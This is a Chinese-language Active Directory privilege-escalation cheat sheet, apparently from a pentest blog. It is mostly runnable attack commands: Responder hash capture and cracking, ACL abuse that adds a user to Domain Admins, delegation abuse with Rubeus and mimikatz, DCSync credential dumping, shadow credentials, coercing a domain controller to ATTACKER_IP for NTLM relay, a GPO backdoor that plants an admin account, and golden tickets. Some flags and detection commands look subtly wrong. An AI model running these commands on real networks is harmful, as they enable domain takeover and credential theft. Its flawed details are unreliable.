域权限提升技术

概述

域环境权限提升是从普通域用户到域管理员的关键步骤。本文总结常见提权路径和利用方法。

攻击等级: ⭐⭐⭐⭐⭐
适用场景: 域内渗透、横向移动


信息收集

用户信息

# 当前用户信息
whoami /all
net user %username%
net user %username% /domain

# PowerView
Get-DomainUser -Identity $(whoami) | Select-Object -ExpandProperty Properties

# 查找管理员
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName
Get-DomainGroupMember -Identity "Enterprise Admins" | Select-Object MemberName

组信息

# 当前用户所属组
net user %username% | findstr /i "Group"

# PowerView
Get-DomainUser -Identity $(whoami) | Select-Object -ExpandProperty MemberOf

# 高权限组
- Domain Admins
- Enterprise Admins
- Administrators
- Account Operators
- Backup Operators
- Server Operators
- Print Operators

计算机信息

# 域内计算机
Get-DomainComputer | Select-Object Name

# 当前用户登录的计算机
Get-DomainUser -Identity $(whoami) | Select-Object LastLogon

# 查找本地管理员
Get-NetLocalGroup -ComputerName TARGET -ListGroups

ACL 信息

# 查找有趣的 ACL
Find-InterestingDomainAcl

# 对当前用户的权限
Get-ObjectAcl -Identity $(whoami) -Rights All

# BloodHound 收集
Sharphound.exe -c All

常见提权路径

1. 组播名称解析中毒 (LLMNR/NBT-NS)

原理: 响应本地名称解析请求,获取 NTLM 哈希。

利用:

# 启动 Responder
python3 Responder.py -I eth0 -v

# 等待受害者
# 自动捕获哈希

# 离线爆破
hashcat -m 5600 Responder.log rockyou.txt
john --format=netntlm Responder.log

2. SMB 共享枚举

原理: 查找可访问的共享,寻找敏感文件。

利用:

# 枚举共享
net view \\TARGET
net use \\TARGET\SHARE

# PowerView
Find-DomainShare

# 查找敏感文件
Get-ChildItem \\TARGET\SHARE\ -Recurse -Include *password*,*credential*,*.xlsx

# 访问共享
dir \\DC\SYSVOL\domain.local\Scripts\

3. GPO 滥用

原理: 组策略对象配置不当,可获取权限。

检测:

# 查找可修改的 GPO
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
  Where-Object {$_.IdentityReferenceName -eq $(whoami)}

# 查找包含密码的 GPO
Get-DomainGPO | Get-DomainObjectAcl |
  Where-Object {$_.ActiveDirectoryRights -match "Write"}

利用:

# 1. 查找 SYSVOL 中的密码
findstr /S /I cpassword \\<FQDN>\sysvol\*.xml

# 2. 解密 GPP 密码
python3 gpp-decrypt.py encrypted_password

# 3. 修改 GPO 添加后门
# 组策略 → 启动脚本 → 添加恶意脚本

4. ACL 权限滥用

原理: AD 对象 ACL 配置不当,可提升权限。

常见权限:

权限 可利用 说明
GenericAll 完全控制
GenericWrite 写权限
WriteOwner 修改所有者
WriteDACL 修改 DACL
ForceChangePassword 修改密码
Self (Self-Membership) 添加到组

利用:

# ForceChangePassword
net user target_user NewPass123! /domain

# PowerView
Add-DomainGroupMember -Identity "Domain Admins" -Members $(whoami)

# 修改 SPN (Kerberoasting)
Set-DomainUser -Identity target_user -ServicePrincipalNames "MSSQLSvc/target:1433"

# 添加万能钥匙 (Skeleton Key)
# 需要 Replicating Directory Changes

5. unconstrained Delegation

原理: 配置 unconstrained delegation 的服务器可获取用户 TGT。

检测:

# 查找 unconstrained delegation
Get-DomainComputer -TrustedToAuth | Select-Object Name

# PowerView
Get-DomainComputer -Untrusted | Select-Object Name

利用:

# 1. 等待域管理员登录
# 在配置 unconstrained delegation 的服务器上

# 2. 导出 TGT
mimikatz # sekurlsa::tickets /export

# 3. 使用 TGT
mimikatz # kerberos::ptt [0;12345]-2-0-...-Administrator@krbtgt-DOMAIN.kirbi

# 4. 访问域控
dir \\DC.DOMAIN.LOCAL\c$

6. 约束委派 (Constrained Delegation)

原理: 配置约束委派的账户可模拟用户访问特定服务。

检测:

# 查找约束委派
Get-DomainUser -TrustedToAuth | Select-Object Name,msDS-AllowedToDelegateTo
Get-DomainComputer -TrustedToAuth | Select-Object Name,msDS-AllowedToDelegateTo

利用:

# 使用 Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /domain:DOMAIN \
  /msdsspn:"CIFS/target.domain.local" /altservice:"CIFS" /ptt

# 访问目标
dir \\target.domain.local\c$

7. 资源委派 (Resource-Based Constrained Delegation)

原理: 目标计算机配置允许特定账户委派。

检测:

# 查找资源委派
Get-DomainComputer -TrustedToAuthFor | Select-Object Name

# PowerView
Get-DomainComputer | Where-Object {$_.msDS-AllowedToActOnBehalfOfOtherIdentity}

利用:

# 1. 获取目标计算机控制权限

# 2. 配置委派
python3 rbcd.py -delegate-from ATTACKER_SVC -delegate-to TARGET_COMPUTER \
  -action write DOMAIN/user:password

# 3. S4U 攻击
Rubeus.exe s4u /user:ATTACKER_SVC /rc4:HASH /domain:DOMAIN \
  /msdsspn:"HOST/target" /ptt

# 4. 访问目标

8. DCSync

原理: 模拟域控同步,获取所有用户哈希。

前提:

  • Replicating Directory Changes
  • Replicating Directory Changes All

利用:

# Impacket
python3 secretsdump.py DOMAIN/admin:pass@DC_IP

# Mimikatz
lsadump::dcsync /domain:DOMAIN /user:krbtgt

# 获取所有用户哈希
python3 secretsdump.py DOMAIN/admin:pass@DC_IP -outputfile ntds

9. Shadow Credentials

原理: 添加 Key Credential 链接,无需密码认证。

前提:

  • GenericWrite / GenericAll 权限

利用:

# 添加 Key Credential
python3 pywhisker.py -d DOMAIN -u user -p password \
  --target target_user --action add

# 获取 TGT
python3 getTGT.py -k -no-pass DOMAIN/target_user

# 使用 TGT
export KRB5CCNAME=target_user.ccache
python3 psexec.py -k -no-pass DOMAIN/target_user@DC

10. Printer Bug

原理: 强制目标机器向攻击者认证。

利用:

# 1. 启动 Responder
python3 Responder.py -I eth0 -v

# 2. 触发 Printer Bug
python3 dementor.py -u attacker -p password DOMAIN/DC_IP

# 或使用 SpoolSample
SpoolSample.exe DC_IP ATTACKER_IP

# 3. 捕获 NTLM 哈希
# Responder 会自动捕获

# 4. Relay 或爆破
python3 ntlmrelayx.py -t smb://DC_IP

实战案例

案例 1: 普通用户到域管理员

# 1. 初始访问
# 钓鱼邮件获得普通域用户

# 2. 信息收集
python3 ldapdomaindump.py -u DOMAIN/user -p password DC_IP

# 3. BloodHound 分析
Sharphound.exe -c All
# 分析最短路径

# 4. 发现 ACL 权限
# 对某服务账号有 GenericWrite

# 5. 配置 SPN
python3 setspn.py -u DOMAIN/user -p password -s "MSSQLSvc/target:1433" target_svc

# 6. Kerberoasting
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request

# 7. 爆破密码
hashcat -m 13100 hashes.txt rockyou.txt

# 8. 用服务账号 DCSync
python3 secretsdump.py DOMAIN/svc:password@DC_IP

# 9. 获取域管理员权限
python3 psexec.py DOMAIN/administrator:hash@DC_IP

案例 2: 约束委派提权

# 1. 查找约束委派
Get-DomainComputer -TrustedToAuth | Select-Object Name

# 2. 获取委派的服务器权限
# 通过其他漏洞

# 3. 导出票据
mimikatz # sekurlsa::tickets /export

# 4. 模拟域管理员
Rubeus.exe s4u /user:svc_account /ticket:ticket.kirbi \
  /msdsspn:"HOST/DC" /altservice:"CIFS" /ptt

# 5. 访问域控
dir \\DC.DOMAIN.LOCAL\c$

案例 3: GPO 后门

# 1. 查找可修改的 GPO
Get-DomainGPO | Get-DomainObjectAcl |
  Where-Object {$_.IdentityReferenceName -eq $(whoami)}

# 2. 修改 GPO
# 添加启动脚本

# 3. 脚本内容
powershell -enc "Add-LocalGroupMember -Group Administrators -Member DOMAIN\\backdoor"

# 4. 等待 GPO 应用
# 域内机器自动执行

# 5. 使用后门账号
net use \\TARGET\admin$ /user:backdoor password

工具

PowerView

# 用户枚举
Get-DomainUser
Get-DomainUser -Identity admin

# 组枚举
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"

# 计算机枚举
Get-DomainComputer

# ACL 枚举
Get-DomainObjectAcl
Find-InterestingDomainAcl

# GPO 枚举
Get-DomainGPO
Get-DomainGPOLocalGroup

BloodHound

# 数据收集
Sharphound.exe -c All
Sharphound.exe -c Session,LoggedOn,Container

# 查询
# 预定义查询
- Find Shortest Path to Domain Admins
- Find Users with Foreign Relations
- Find Unconstrained Delegation

# Cypher 查询
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}) RETURN u

Impacket

# 信息收集
ldapdomaindump.py DOMAIN/user:password DC_IP

# DCSync
secretsdump.py DOMAIN/user:password@DC_IP

# 执行命令
psexec.py DOMAIN/user:password@TARGET
smbexec.py DOMAIN/user:password@TARGET
wmiexec.py DOMAIN/user:password@TARGET

Mimikatz

# 导出凭证
sekurlsa::logonpasswords

# 导出票据
sekurlsa::tickets /export

# 注入票据
kerberos::ptt ticket.kirbi

# DCSync
lsadump::dcsync /domain:DOMAIN /user:krbtgt

# Golden Ticket
kerberos::golden /user:admin /domain:DOMAIN /sid:SID /krbtgt:HASH /ptt

参考链接